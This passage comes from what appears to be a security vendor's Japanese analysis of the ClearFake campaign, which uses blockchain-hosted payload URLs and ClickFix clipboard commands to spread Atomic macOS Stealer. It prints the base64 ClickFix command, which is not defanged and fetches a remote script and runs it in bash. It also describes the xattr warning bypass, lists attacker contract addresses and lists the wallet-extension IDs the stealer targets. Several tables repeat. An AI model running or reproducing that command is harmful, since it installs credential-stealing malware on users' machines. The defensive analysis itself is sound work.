また、Stage3コントラクトの「jadeCode」関数を介してClickFixコマンドを取得し、クリップボードにコピーします。

jadeCode 함수를 실행하는 HTML 파일

caption - jadeCode関数を実行するHTMLファイル

クリップボードにコピーされるコマンドは、以下の通りです。

  • echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cHM6Ly9lbnRyaW5pZGFkLmNmZC8xL3ZlcmlmeS5zaCki' | base64 -D | bash

Bashコマンド

ClickFixコマンドを実行すると、新しいコマンドをbase64でデコードしてbashで実行します。デコードされたコマンドは、以下の通りです。

  • /bin/bash -c "$(curl -fsSL hxxps://entrinidad.cfd/1/verify.sh)”

デコードされたコマンドは、curlを通じて「hxxps://entrinidad.cfd/1/verify.sh」より命令を読み込み、再びbashで実行します。

verify.sh

verify.shは、curlを通じて「hxxps://overcasetv.cfd/update」からファイルをダウンロードし、「/tmp/update」として保存します。その後、xattrコマンドを介して「/tmp/update」ファイルを実行した際にセキュリティ警告が表示されないように変更して実行します。

verify.sh 파일 내용

caption - verify.shファイルの内容

/tmp/update

ダウンロードされた「/tmp/update」ファイルは、macOSで動作するインフォスティーラーマルウェアであるAtomic MacOS Stealer(AMOS)です。AMOSで使用されるすべての文字列をデコードするプロセスは、以下の通りです。

  1. エンコードされた文字列と2つのキーを4バイト単位で読み込みます。

  2. 読み込んだ4バイトのうち、下位の1バイトのみを使用して最初のキーとXOR演算をします。

  3. XOR結果から2番目のキーの下位1バイトを引きます。

  4. その結果をカスタムbase64でデコードします。

AMOSはsystem関数を通じて計3つのコマンドを実行します。

実行される最初のコマンドは、以下のように仮想マシン環境で稼働しているかを確認し、仮想マシンの場合はプロセスを終了します。

2番目のコマンドは、ユーザー名、パスワード、ブラウザの拡張機能、暗号資産ウォレット、ブラウザのクッキー情報、ウェブのログインデータ、Telegramのチャット履歴、および特定の拡張子を持つすべてのファイルを圧縮してC&Cサーバーへと転送します。収集される情報の詳細については、「付録 A. macOS ClickFixの収集情報」をご参照ください。

最後の3番目のコマンドは、「disown; pkill Terminal」でプロセスを終了します。

4. スマートチェーン分析

スマートチェーンの分析は、BNBスマートチェーンを探索するBscScanを通じて行った。

4.1. Adminウォレットアドレス

前述の3つのコントラクトはすべて、「0xF5B962Cca374de0b769617888932250363C5971B」をAdminウォレットアドレスとして持っている。このウォレットは攻撃に使用された3つのコントラクトを生成し、継続的にトランザクションを生成してコントラクトに保存された情報を管理する。したがって、Adminウォレットアドレスのトランザクション履歴を通じて、コントラクトに適用された修正事項をすべて確認することができる。

0xF5B962Cca374de0b769617888932250363C5971B 지갑 주소의 트랜잭션

caption - 0xF5B962Cca374de0b769617888932250363C5971B ウォレットアドレスのトランザクション

Adminウォレットから生成されたコントラクトは、ClearFakeで使用された3つの他に、さらにもう1つのコントラクトが存在する。当該コントラクトのアドレスは「0xE1FD5bFe3a085Ce0b2fB72eAC0C14Ef2ef4400C8」で、バイトコードの振る舞いはStage1コントラクトである「0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53」と同様である。

「0xE1FD5bFe3a085Ce0b2fB72eAC0C14Ef2ef4400C8」コントラクトにはトランザクション履歴がないため、現在は使用不可能だが、攻撃者はいつでも当該コントラクトをStage1コントラクトに変更して使用することができる。

4.2. 追加のコントラクトアドレスの確保

Stage1コントラクトである「0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53」と同じバイトコードを持つコントラクトを探索すると、以下の図のように4つのコントラクトアドレスを確認できる。

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 컨트랙트와 같은 바이트 코드를 가진 컨트랙트 목록

caption - 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 コントラクトと同じバイトコードを持つコントラクトリスト

4つのコントラクトはすべて「0x9AAe9A373CECe9Ef8453fa2dEAF4bf7B8aFBfac9」ウォレットによって生成されたコントラクトで、当該ウォレットが生成したコントラクトアドレスは以下の通りである。

| 컨트랙트 주소 | 같은 바이트 코드를 가진 컨트랙트 |
| --- | --- |
| 0x5adB8477635ADc33bddccA8Bc48a46323fE18aa0 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd860EA54f0E403Ad0E34bbF005A2BCa298A23ECC | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xEC3A981d05Ae74fAe7d99DeEa295DCCd1B72d6b2 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E | 0x8FBA1667BEF5EdA433928b220886A830488549BD  |
| 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F  | 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

| 컨트랙트 주소 | 같은 바이트 코드를 가진 컨트랙트 |
| --- | --- |
| 0x5adB8477635ADc33bddccA8Bc48a46323fE18aa0 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd860EA54f0E403Ad0E34bbF005A2BCa298A23ECC | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xEC3A981d05Ae74fAe7d99DeEa295DCCd1B72d6b2 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E | 0x8FBA1667BEF5EdA433928b220886A830488549BD  |
| 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F  | 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

| 컨트랙트 주소 | 같은 바이트 코드를 가진 컨트랙트 |
| --- | --- |
| 0x5adB8477635ADc33bddccA8Bc48a46323fE18aa0 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd860EA54f0E403Ad0E34bbF005A2BCa298A23ECC | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xEC3A981d05Ae74fAe7d99DeEa295DCCd1B72d6b2 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E | 0x8FBA1667BEF5EdA433928b220886A830488549BD  |
| 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F  | 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

caption - 0x9AAe9A373CECe9Ef8453fa2dEAF4bf7B8aFBfac9 ウォレットが生成したコントラクトアドレス

4つのうち3つのコントラクトはトランザクション履歴がないが、「0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c」コントラクトにはトランザクション履歴が存在する。

0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c 컨트랙트의 트랜잭션 기록

caption - 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c コントラクトのトランザクション履歴

当該コントラクトのトランザクションを調べると、Stage2コントラクトアドレスを「0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E」に設定し、Stage3コントラクトアドレスを「0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F」に設定していることが確認できる。

しかし、「0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F」コントラクトのトランザクション履歴を通じて、7月14日基準で約120日前からこれらのコントラクトは使用されていないことが確認できた。

0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F 컨트랙트의 트랙잭션 기록

caption - 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F コントラクトのトランザクション履歴

現在は使用していないが、コントラクトは消失しないため、攻撃者はいつでも再び当該コントラクトを攻撃に使用することができる。それだけでなく、トランザクション履歴が存在しない3つのコントラクトすべてに、潜在的に攻撃に使用される可能性が存在する。

4.3. トランザクション履歴の分析

ブロックチェーンのトランザクションは、一度生成された場合、削除されないため、トランザクション履歴を通じて、現在までClearFakeキャンペーンに使用されたすべてのペイロードURLを確認することができる。

ペイロードURLを保存する関数である「addSkyline」(0xbaf7bb8f)と、変更する関数である「updateSkylinesById」(0x4128180a)を呼び出すすべてのトランザクションを、BscScanのAdvanced Filter機能を通じて確保することができた。

BscScan의 Advanced Filter 기능

caption - BscScanのAdvanced Filter機能

このようにして確保されたすべてのトランザクションからURLを抽出した結果、計140個のURLと109個のドメインがClearFakeキャンペーンに使用されたことが確認できた。攻撃者は最初にコントラクトを生成した際、テストアドレスとしてx.com、818.cn、808.cn、809.cnを使用していた。

確保された109個のドメインのうち、テストに使用された4つのドメインを除く105個のドメインすべてがCloudFlareの保護を受け、ドメインの登録者名、連絡先情報などのWHOIS公開情報が隠された状態だった。

5. おわりに

本記事では、EtherHidingとClickFixの手法を使用するClearFakeキャンペーンを分析した。攻撃者は正常なWebサイトに悪意のあるスクリプトを挿入し、EtherHiding手法を介してClickFixペイロードを取得し、ユーザーにマルウェアを流布した。

ClearFakeキャンペーンが初めて発見されてから約2年が経過した現在も、同キャンペーンは継続して世界中のWebサイトに悪意のあるスクリプトを挿入しており、攻撃者の手法は進化し続けている。特に、新しい手法を活用してマルウェアを流布する姿を見せているだけに、当該攻撃に対する継続的なモニタリングが重要である。

ClickFix手法は、現在北朝鮮、イラン、ロシアのAPTグループでも使用するほど、広く使われている攻撃手法である。特にClearFakeキャンペーンの場合、実行されるコマンドがユーザーのアクティブな画面に表示されず、クリップボードに直接コピーされるため、さらに認識しづらい。これに対する被害を予防するために、ユーザーはインターネットからファイルをダウンロードしたり、コマンドを実行したりする際、格別の注意が必要である。

6. 付録

付録 A. macOS ClickFix 収集情報

ブラウザ拡張機能

| list | - |
| --- | --- |
| kfdniefadaanbjodldohaedphafoffoh | icblpoalghoakidcjiheabnkijnklhhe |
| jblndlipeogpafnldhgmapagcccfchpi | aeachknmefphepccionboohckonoeemg |
| gbjepgaebckfidagpfeioimheabiohmg | mfhbebgoclkghebffdldpobeajmbecfk |
| fmhmiaejopepamlcjkncpgpdjichnecm | eamiofncoknfkefhlkdblngblpffehek |
| bgpipimickeadkjlklgciifhnalhdjhe | dngmlblcodfobpdpecaadgfbcggfjfnm |
| ojbcfhjmpigfobfclfflafhblgemeidi | ebfidpplhabeedpnhjnobghokpiioolj |
| mdjmfdffdcmnoblignmgpommbefadffd | bcopgchhojmggmffilplmbdicgaihlkp |
| opcgpfmipidbgpenhmajoajpbobppdil | pcndjhkinnkaohffealmlmhaepkpmgkb |
| ckklhkaabbmdjkahiaaplikpdddkenic | cjmkndjhnagcfbpiemnkdpomccnjblmj |
| ookjlbkiijinhpmnjffcofjonbfbgaoc | lccbohhgfkdikahanoclbdmaolidjdfl |
| jkjgekcefbkpogohigkgooodolhdgcda | afbcbjpbpfadlkmhmclhkeeodmamcflc |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | cflgahhmjlmnjbikhakapcfkpbcmllam |
| abogmiocnneedmmepnohnhlijcjpcifd | gjagmgiddbbciopjhllkdnddhcglnemk |
| kmcfomidfpdkfieipokbalgegidffkal | kncchdigobghenbbaddojjnnaogfppfj |
| nbdhibgjnjpnkajaghbffjbkcgljfgdi | fpibioaihcagphbidhodidjbnclocgll |
| amkmjjmmflddogmhpjloimipbofnfjih | hnfanknocfeofbddgcijnmhnfnkdnaad |
| klnaejjgbibmhlephnhpmaofohgkpgkd | nhnkbkgjikgcigadomkphalanndcapjk |
| abjfbanhppgiflmobebfffbijcfoeiao | kilnpioakcdndlodeeceffgjdpojajlo |
| nlgnepoeokdfodgjkjiblkadkjbdfmgd | bopcbmipnjdcdfflfgjdgdjejmgpoaab |
| egjidjbpglichdcondbcbdnbeeppgdph | bhghoamapcdpbohphigoooaddinpkbai |
| pnlccmojcmeohlpggmfnbbiapkmbliob | bmabahhenimmnfijaiccmonalfhpcndh |
| naepdomgkenhinolocfifgehidddafch | admmjipmmciaobhojoghlmleefbicajg |
| jnkelfanjkeadonecabehalmbgpfodjm | panpgppehdchfphcigocleabcmcgfoca |
| jbkgjmpfammbgejcpedggoefddacbdia | jiepnaheligkibgcjgjepjfppgbcghmp |
| gkeelndblnomfmjnophbhfhcjbcnemka | ojggmchlghnjlapmfbnjholfjkiidbch |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | fopmedgnkfpebgllppeddmmochcookhc |
| gjkdbeaiifkpoencioahhcilildpjhgh | acmacodkjbdgmoleebolmdjonilkdbch |
| chgfefjpcobfbnpmiokfjjaglahmnded | mmhlniccooihdimnnjhamobppdhaolme |
| bgjogpoidejdemgoochpnkmdjpocgkha | eajafomhmkipbjmfmhebemolkcicgfmd |
| klghhnkeealcohjjanjjdaeeggmfmlpl | nbdpmlhambbdkhkmbfpljckjcmgibalo |
| kkilomkmpmkbdnfelcpgckmpcaemjcdh | cfbfdhimifdmdehjmkdobpcjfefblkjm |
| jcacnejopjdphbnjgfaaobbfafkihpep | papngmkmknnmfhabbckobgfpihpdgplk |
| algblmhagnobbnmakepomicmfljlbehg | agoakfejjabomempkjlepdflaleeobhb |
| cgeeodpfagjceefieflmdfphplkenlfk | eomhlheglneofffmbfjflldlbcnhpkpb |
| aiaghdjafpiofpainifbgfgjfpclngoh | ginchbkmljhldofnbjabmeophlhdldgp |
| mmmjbcfofconkannjonfmjjajpllddbg | ifckdpamphokdglkkdomedpdegcjhjdp |
| nngceckbapebfimnlniiiahkandclblb | anokgmphncpekkhclmingpimjmcooifb |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | fcckkdbjnoikooededlapcalpionmalo |
| hmeobnfnfcmdkdcmlblgagmfpfboieaf | jiidiaalihmmhddjgbnbgdfflelocpak |
| gadbifgblmedliakbceidegloehmffic | hdokiejnpimakedhajhdlcegeplioahd |
| icpikagpkkbldbfjlbefnmmmcohbjije | mjgkpalnahacmhkikiommfiomhjipgjn |
| bhhhlbepdkbapadjdnnojkbgioiodbic | jnlgamecbpmbajjfhmmmlhejkemejdma |
| ffnbelfdoeiohenkjibnmadjiehjhajb | ajkifnllfhikkjbjopkhmjoieikeihjb |
| pgiaagfkgcbnmiiolekcfmljdagdhlcm | phkbamefinggmakgklpkljjmgibohnba |
| ghlmndacnhlaekppcllcpcjjjomjkjpg | cnncmdhjacpkmjmkcafchppbnpnhdmon |
| aflkmfhebedbjioipglgcbcmnbpgliof | fcfcfllfndlomdhbehjjcoimbgofdncg |
| dmkamcknogkgcdfhhbddcghachkejeap | mmclamjkknobggpiohfneimmnlggagok |
| dlcobpjiigpikoobohmabehhmhfoodbb | lcmncloheoekhbmljjlhdlaobkedjbgd |
| pnndplcbkakcplkjnolgbkdgjikjednm | omaabbefbmiijedngplfjmnooppbclkk |
| nlgbhdfgdhgbiamfdfmbikcdghidoadd | bifidjkcdpgfnlbcjpdkdcnbiooooblg |
| caljgklbbfbcjjanaijlacgncafpegll | mcohilncbfahbmgdjkbpemcciiolgcge |
| dbgnhckhnppddckangcjbkjnlddbjkna | pdadjkfkgcafgbceimcpbkalnfnepbnk |
| cphhlgmgameodnhkjdmkpanlelnlohao | gafhhkghbfjjkeiendhlofajokpaflmk |
| idnnbdplmphpflfnlkomgpfbpcgelopg | iokeahhehimjnekafflcihljlcjccdbe |
| lgbjhdkjmpgjgcbcdlhkokkckpjmedgc | ilhaljfiglknggcoegeknjghdgampffk |
| nopnfnlbinpfoihclomelncopjiioain | hpbgcgmiemanfelegbndmhieiigkackl |
| lpilbniiabackdjcionkobglmddfbcjo | kkpllbgjhchghjapjbinnoddmciocphm |
| dkdedlpgdmmkkfjabffeganieamfklkm | fmblappgoiilbgafhjklehhfifbdocee |
| dphoaaiomekdhacmfoblfblmncpnbahm | inlkhilmjmjomfcpdifpfgllhhlpnbej |
| flpiciilemghbmfalicajoolhkkenfel | bocpokimicclpaiekenaeelehdjllofo |
| cnmamaachppnkjgnildpdmkaakejnhae | hbbgbephgojikajhfbomhlmmollphcad |
| jnldfbidonfeldmalbflbmlebbipcnle | onhogfjeacnfoofkfgppdlbmlmnplgbn |
| oboonakemofpalcgghocfoadofidjkkk | fiikommddbeccaoicoejoniammnalkfa |
| oafedfoadhdjjcipmcbecikgokpaphjk | nphplpgoakhhjchkkhmiggakijnkhfnd |
| bkklifkecemccedpkhcebagjpehhabfb | lpfcbjknijpeeillifnkikgncikgfhdo |
| gjlmehlldlphhljhpnlddaodbjjcchai | aholpfdialjgjfhomihkjbmgjidlcdno |
| jbppfhkifinbpinekbahmdomhlaidhfm | gpnihlnnodeiiaakbikldcihojploeca |
| loinekcabhlmhjjbocijdoimmejangoa | jkoeaghipilijlahjplgbfiocjhldnap |
| nhbicdelgedinnbcidconlnfeionhbml | hpclkefagolihohboafpheddmmgdffjm |
| kbdcddcmgoplfockflacnnefaehaiocb | nkbihfbeogaeaoehlefnkodbefgpgknn |
| jojhfeoedkpkglbfimdfabpdfjaoolaf | opfgelmcmbiajamepnmloijbpoleiama |
| aijcbedoijmgnlmjeegjaglmepbmpkpi | elalghlhoepcjfaedkcmjolahamlnjcp |
| bofddndhbegljegmpmnlbhcejofmjgbn | jgnfghanfbjmimbdmnjfofnbcgpkbegj |
| efbglgofoippbgcjepnhiblaibcnclgk | cpmkedoipcpimgecpmgpldfpohjplkpp |
| abamjefkidngfegdjbmffdmbgjgpaobf | ibnejdfjmmkpcnlpebklmnkoeoihofec |
| copjnifcecdedocejpaapepagaodgpbh | apnehcjmnengpnmccpaibjmhhoadaico |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | igkpcodhieompeloncfnbekccinhapdb |
| hifafgmccdpekplomjjkcfgodnhcellj | bmikpgodpkclnkgmnpphehdgcimmided |
| gdokollfhmnbfckbobkdbakhilldkhcj | fhilaheimglignddkjgofkcbgekhenbh |
| keenhcnmdmjjhincpilijphpiohdppno | enabgbdfcbaehmbigakijjabdpdnimlg |
| lgmpcpglpngdoalbgeoldeajfclnhafa | mgffkfbidihjpoaomajlbgchddlicgpn |
| cihmoadaighcejopammfbmddcmdekcje | ejjladinnckdgjemekebdpeokbikhfci |
| ahidmapichficbkfglbhgmhjcojjmlnm | ocjobpilfplciaddcbafabcegbilnbnb |
| jnmbobjmhlngoefaiojfljckilhhlhcj | nhlnehondigmgckngjomcpcefcdplmgc |
| pocmplpaccanhmnllbbkpgfliimjljgo | ajopcimklncnhjednieoejhkffdolemp |
| kmhcihpebfmpgmihbkipmjlmmioameka | aiifbnbfobpmeekipheeijimdpnlpgpp |
| nknhiehlklippafakaeklbeglecifhad | ldinpeekobnhjjdofggfgjlcehhmanlj |
| fghhpjoffbgecjikiipbkpdakfmkbmig | cmndjbecilbocjfkibfbifhngkdmjgog |
| einnioafmpimabjcddiinlhmijaionap | jhfjfclepacoldmjmkmdlmganfaalklb |
| kglcipoddmbniebnibibkghfijekllbl | ppdadbejkmjnefldpcdjhnkpbjkikoip |
| kkpllkodjeloidieedojogacfhpaihoh | jfmajkmgjpjognffefopllhaijknhnmm |
| khpkpbbcccdmmclmpigdgddabeilkdpd | bkgplkpdgidlgmnlhdfakhcjfpfgjjkb |
| eokbbaidfgdndnljmffldfgjklpjkdoi | dldjpboieedgcmpkchcjcbijingjcgok |
| mnfifefkajgofkcjkemidiaecocnkjeh | lmkncnlpeipongihbffpljgehamdebgi

| list | - |
| --- | --- |
| kfdniefadaanbjodldohaedphafoffoh | icblpoalghoakidcjiheabnkijnklhhe |
| jblndlipeogpafnldhgmapagcccfchpi | aeachknmefphepccionboohckonoeemg |
| gbjepgaebckfidagpfeioimheabiohmg | mfhbebgoclkghebffdldpobeajmbecfk |
| fmhmiaejopepamlcjkncpgpdjichnecm | eamiofncoknfkefhlkdblngblpffehek |
| bgpipimickeadkjlklgciifhnalhdjhe | dngmlblcodfobpdpecaadgfbcggfjfnm |
| ojbcfhjmpigfobfclfflafhblgemeidi | ebfidpplhabeedpnhjnobghokpiioolj |
| mdjmfdffdcmnoblignmgpommbefadffd | bcopgchhojmggmffilplmbdicgaihlkp |
| opcgpfmipidbgpenhmajoajpbobppdil | pcndjhkinnkaohffealmlmhaepkpmgkb |
| ckklhkaabbmdjkahiaaplikpdddkenic | cjmkndjhnagcfbpiemnkdpomccnjblmj |
| ookjlbkiijinhpmnjffcofjonbfbgaoc | lccbohhgfkdikahanoclbdmaolidjdfl |
| jkjgekcefbkpogohigkgooodolhdgcda | afbcbjpbpfadlkmhmclhkeeodmamcflc |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | cflgahhmjlmnjbikhakapcfkpbcmllam |
| abogmiocnneedmmepnohnhlijcjpcifd | gjagmgiddbbciopjhllkdnddhcglnemk |
| kmcfomidfpdkfieipokbalgegidffkal | kncchdigobghenbbaddojjnnaogfppfj |
| nbdhibgjnjpnkajaghbffjbkcgljfgdi | fpibioaihcagphbidhodidjbnclocgll |
| amkmjjmmflddogmhpjloimipbofnfjih | hnfanknocfeofbddgcijnmhnfnkdnaad |
| klnaejjgbibmhlephnhpmaofohgkpgkd | nhnkbkgjikgcigadomkphalanndcapjk |
| abjfbanhppgiflmobebfffbijcfoeiao | kilnpioakcdndlodeeceffgjdpojajlo |
| nlgnepoeokdfodgjkjiblkadkjbdfmgd | bopcbmipnjdcdfflfgjdgdjejmgpoaab |
| egjidjbpglichdcondbcbdnbeeppgdph | bhghoamapcdpbohphigoooaddinpkbai |
| pnlccmojcmeohlpggmfnbbiapkmbliob | bmabahhenimmnfijaiccmonalfhpcndh |
| naepdomgkenhinolocfifgehidddafch | admmjipmmciaobhojoghlmleefbicajg |
| jnkelfanjkeadonecabehalmbgpfodjm | panpgppehdchfphcigocleabcmcgfoca |
| jbkgjmpfammbgejcpedggoefddacbdia | jiepnaheligkibgcjgjepjfppgbcghmp |
| gkeelndblnomfmjnophbhfhcjbcnemka | ojggmchlghnjlapmfbnjholfjkiidbch |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | fopmedgnkfpebgllppeddmmochcookhc |
| gjkdbeaiifkpoencioahhcilildpjhgh | acmacodkjbdgmoleebolmdjonilkdbch |
| chgfefjpcobfbnpmiokfjjaglahmnded | mmhlniccooihdimnnjhamobppdhaolme |
| bgjogpoidejdemgoochpnkmdjpocgkha | eajafomhmkipbjmfmhebemolkcicgfmd |
| klghhnkeealcohjjanjjdaeeggmfmlpl | nbdpmlhambbdkhkmbfpljckjcmgibalo |
| kkilomkmpmkbdnfelcpgckmpcaemjcdh | cfbfdhimifdmdehjmkdobpcjfefblkjm |
| jcacnejopjdphbnjgfaaobbfafkihpep | papngmkmknnmfhabbckobgfpihpdgplk |
| algblmhagnobbnmakepomicmfljlbehg | agoakfejjabomempkjlepdflaleeobhb |
| cgeeodpfagjceefieflmdfphplkenlfk | eomhlheglneofffmbfjflldlbcnhpkpb |
| aiaghdjafpiofpainifbgfgjfpclngoh | ginchbkmljhldofnbjabmeophlhdldgp |
| mmmjbcfofconkannjonfmjjajpllddbg | ifckdpamphokdglkkdomedpdegcjhjdp |
| nngceckbapebfimnlniiiahkandclblb | anokgmphncpekkhclmingpimjmcooifb |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | fcckkdbjnoikooededlapcalpionmalo |
| hmeobnfnfcmdkdcmlblgagmfpfboieaf | jiidiaalihmmhddjgbnbgdfflelocpak |
| gadbifgblmedliakbceidegloehmffic | hdokiejnpimakedhajhdlcegeplioahd |
| icpikagpkkbldbfjlbefnmmmcohbjije | mjgkpalnahacmhkikiommfiomhjipgjn |
| bhhhlbepdkbapadjdnnojkbgioiodbic | jnlgamecbpmbajjfhmmmlhejkemejdma |
| ffnbelfdoeiohenkjibnmadjiehjhajb | ajkifnllfhikkjbjopkhmjoieikeihjb |
| pgiaagfkgcbnmiiolekcfmljdagdhlcm | phkbamefinggmakgklpkljjmgibohnba |
| ghlmndacnhlaekppcllcpcjjjomjkjpg | cnncmdhjacpkmjmkcafchppbnpnhdmon |
| aflkmfhebedbjioipglgcbcmnbpgliof | fcfcfllfndlomdhbehjjcoimbgofdncg |
| dmkamcknogkgcdfhhbddcghachkejeap | mmclamjkknobggpiohfneimmnlggagok |
| dlcobpjiigpikoobohmabehhmhfoodbb | lcmncloheoekhbmljjlhdlaobkedjbgd |
| pnndplcbkakcplkjnolgbkdgjikjednm | omaabbefbmiijedngplfjmnooppbclkk |
| nlgbhdfgdhgbiamfdfmbikcdghidoadd | bifidjkcdpgfnlbcjpdkdcnbiooooblg |
| caljgklbbfbcjjanaijlacgncafpegll | mcohilncbfahbmgdjkbpemcciiolgcge |
| dbgnhckhnppddckangcjbkjnlddbjkna | pdadjkfkgcafgbceimcpbkalnfnepbnk |
| cphhlgmgameodnhkjdmkpanlelnlohao | gafhhkghbfjjkeiendhlofajokpaflmk |
| idnnbdplmphpflfnlkomgpfbpcgelopg | iokeahhehimjnekafflcihljlcjccdbe |
| lgbjhdkjmpgjgcbcdlhkokkckpjmedgc | ilhaljfiglknggcoegeknjghdgampffk |
| nopnfnlbinpfoihclomelncopjiioain | hpbgcgmiemanfelegbndmhieiigkackl |
| lpilbniiabackdjcionkobglmddfbcjo | kkpllbgjhchghjapjbinnoddmciocphm |
| dkdedlpgdmmkkfjabffeganieamfklkm | fmblappgoiilbgafhjklehhfifbdocee |
| dphoaaiomekdhacmfoblfblmncpnbahm | inlkhilmjmjomfcpdifpfgllhhlpnbej |
| flpiciilemghbmfalicajoolhkkenfel | bocpokimicclpaiekenaeelehdjllofo |
| cnmamaachppnkjgnildpdmkaakejnhae | hbbgbephgojikajhfbomhlmmollphcad |
| jnldfbidonfeldmalbflbmlebbipcnle | onhogfjeacnfoofkfgppdlbmlmnplgbn |
| oboonakemofpalcgghocfoadofidjkkk | fiikommddbeccaoicoejoniammnalkfa |
| oafedfoadhdjjcipmcbecikgokpaphjk | nphplpgoakhhjchkkhmiggakijnkhfnd |
| bkklifkecemccedpkhcebagjpehhabfb | lpfcbjknijpeeillifnkikgncikgfhdo |
| gjlmehlldlphhljhpnlddaodbjjcchai | aholpfdialjgjfhomihkjbmgjidlcdno |
| jbppfhkifinbpinekbahmdomhlaidhfm | gpnihlnnodeiiaakbikldcihojploeca |
| loinekcabhlmhjjbocijdoimmejangoa | jkoeaghipilijlahjplgbfiocjhldnap |
| nhbicdelgedinnbcidconlnfeionhbml | hpclkefagolihohboafpheddmmgdffjm |
| kbdcddcmgoplfockflacnnefaehaiocb | nkbihfbeogaeaoehlefnkodbefgpgknn |
| jojhfeoedkpkglbfimdfabpdfjaoolaf | opfgelmcmbiajamepnmloijbpoleiama |
| aijcbedoijmgnlmjeegjaglmepbmpkpi | elalghlhoepcjfaedkcmjolahamlnjcp |
| bofddndhbegljegmpmnlbhcejofmjgbn | jgnfghanfbjmimbdmnjfofnbcgpkbegj |
| efbglgofoippbgcjepnhiblaibcnclgk | cpmkedoipcpimgecpmgpldfpohjplkpp |
| abamjefkidngfegdjbmffdmbgjgpaobf | ibnejdfjmmkpcnlpebklmnkoeoihofec |
| copjnifcecdedocejpaapepagaodgpbh | apnehcjmnengpnmccpaibjmhhoadaico |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | igkpcodhieompeloncfnbekccinhapdb |
| hifafgmccdpekplomjjkcfgodnhcellj | bmikpgodpkclnkgmnpphehdgcimmided |
| gdokollfhmnbfckbobkdbakhilldkhcj | fhilaheimglignddkjgofkcbgekhenbh |
| keenhcnmdmjjhincpilijphpiohdppno | enabgbdfcbaehmbigakijjabdpdnimlg |
| lgmpcpglpngdoalbgeoldeajfclnhafa | mgffkfbidihjpoaomajlbgchddlicgpn |
| cihmoadaighcejopammfbmddcmdekcje | ejjladinnckdgjemekebdpeokbikhfci |
| ahidmapichficbkfglbhgmhjcojjmlnm | ocjobpilfplciaddcbafabcegbilnbnb |
| jnmbobjmhlngoefaiojfljckilhhlhcj | nhlnehondigmgckngjomcpcefcdplmgc |
| pocmplpaccanhmnllbbkpgfliimjljgo | ajopcimklncnhjednieoejhkffdolemp |
| kmhcihpebfmpgmihbkipmjlmmioameka | aiifbnbfobpmeekipheeijimdpnlpgpp |
| nknhiehlklippafakaeklbeglecifhad | ldinpeekobnhjjdofggfgjlcehhmanlj |
| fghhpjoffbgecjikiipbkpdakfmkbmig | cmndjbecilbocjfkibfbifhngkdmjgog |
| einnioafmpimabjcddiinlhmijaionap | jhfjfclepacoldmjmkmdlmganfaalklb |
| kglcipoddmbniebnibibkghfijekllbl | ppdadbejkmjnefldpcdjhnkpbjkikoip |
| kkpllkodjeloidieedojogacfhpaihoh | jfmajkmgjpjognffefopllhaijknhnmm |
| khpkpbbcccdmmclmpigdgddabeilkdpd | bkgplkpdgidlgmnlhdfakhcjfpfgjjkb |
| eokbbaidfgdndnljmffldfgjklpjkdoi | dldjpboieedgcmpkchcjcbijingjcgok |
| mnfifefkajgofkcjkemidiaecocnkjeh | lmkncnlpeipongihbffpljgehamdebgi

| list | - |
| --- | --- |
| kfdniefadaanbjodldohaedphafoffoh | icblpoalghoakidcjiheabnkijnklhhe |
| jblndlipeogpafnldhgmapagcccfchpi | aeachknmefphepccionboohckonoeemg |
| gbjepgaebckfidagpfeioimheabiohmg | mfhbebgoclkghebffdldpobeajmbecfk |
| fmhmiaejopepamlcjkncpgpdjichnecm | eamiofncoknfkefhlkdblngblpffehek |
| bgpipimickeadkjlklgciifhnalhdjhe | dngmlblcodfobpdpecaadgfbcggfjfnm |
| ojbcfhjmpigfobfclfflafhblgemeidi | ebfidpplhabeedpnhjnobghokpiioolj |
| mdjmfdffdcmnoblignmgpommbefadffd | bcopgchhojmggmffilplmbdicgaihlkp |
